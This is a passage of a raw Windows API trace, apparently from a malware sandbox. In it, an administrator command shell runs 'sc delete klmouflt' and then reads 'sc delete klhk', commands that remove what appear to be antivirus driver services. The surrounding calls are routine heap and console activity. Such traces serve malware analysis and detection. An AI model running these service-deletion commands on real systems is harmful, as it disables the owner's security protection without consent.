(lpRootPathName="C:\\") returned 0x3 [0072.995] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.995] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.995] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.995] GetLastError () returned 0x2 [0072.995] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.995] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.995] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.995] GetProcessHeap () returned 0x4a0000 [0072.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.995] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.996] GetProcessHeap () returned 0x4a0000 [0072.996] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9e) returned 0x4b9180 [0072.996] GetProcessHeap () returned 0x4a0000 [0072.996] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9e [0072.996] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klmouflt") returned 1 [0072.996] GetProcessHeap () returned 0x4a0000 [0072.996] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.996] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.996] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.996] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.996] GetProcessHeap () returned 0x4a0000 [0072.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.996] GetProcessHeap () returned 0x4a0000 [0072.996] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.996] GetProcessHeap () returned 0x4a0000 [0072.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.996] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klmouflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klmouflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klmouflt", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb88, dwThreadId=0xac8)) returned 1 [0073.012] CloseHandle (hObject=0x50) returned 1 [0073.012] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.012] GetProcessHeap () returned 0x4a0000 [0073.012] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.012] GetEnvironmentStringsW () returned 0x4c1b10* [0073.012] GetProcessHeap () returned 0x4a0000 [0073.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.012] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.012] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.012] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.013] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.057] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.057] CloseHandle (hObject=0x54) returned 1 [0073.057] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.057] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.057] GetProcessHeap () returned 0x4a0000 [0073.057] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.057] GetEnvironmentStringsW () returned 0x4c1b10* [0073.057] GetProcessHeap () returned 0x4a0000 [0073.057] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.058] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.058] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.058] GetProcessHeap () returned 0x4a0000 [0073.058] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.058] GetEnvironmentStringsW () returned 0x4c1b10* [0073.058] GetProcessHeap () returned 0x4a0000 [0073.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.058] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.058] GetProcessHeap () returned 0x4a0000 [0073.058] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.058] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.058] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.058] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.058] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.058] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.058] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.059] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.059] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.059] GetConsoleOutputCP () returned 0x1b5 [0073.059] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.059] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.059] GetProcessHeap () returned 0x4a0000 [0073.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.059] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.060] GetFileType (hFile=0x120) returned 0x3 [0073.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.060] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.060] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.060] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.060] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.060] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.060] GetFileType (hFile=0x120) returned 0x3 [0073.060] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.060] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.060] GetFileType (hFile=0xb8) returned 0x3 [0073.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.060] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.060] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.060] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.061] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.061] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.062] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.062] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.062] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.062] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="houflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.062] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="kuflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.062] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] GetFileType (hFile=0xb8) returned 0x3 [0073.062] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.062] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.063] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.063] GetFileType (hFile=0x120) returned 0x3 [0073.063] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klhk\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klhk\n", lpUsedDefaultChar=0x0) returned 16 [0073.063] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0xf, lpOverlapped=0x0) returned 1 [0073.063] GetProcessHeap () returned 0x4a0000 [0073.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.063] GetProcessHeap () returned 0x4a0000 [0073.063] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.063] GetProcessHeap () returned 0x4a0000 [0073.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.063] GetProcessHeap () returned 0x4a0000 [0073.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.063] GetProcessHeap () returned 0x4a0000 [0073.063] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4b6510 [0073.063] GetConsoleOutputCP () returned 0x1b5 [0073.063] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.063] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.064] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6550 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0073.064] SetErrorMode (uMode=0x0) returned 0x1 [0073.064] SetErrorMode (uMode=0x1) returned 0x0 [0073.064] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.064] SetErrorMode (uMode=0x1) returned 0x1 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0073.064] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.064] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.064] GetProcessHeap () returned 0x4a0000 [0073.064] RtlAllocateHeap 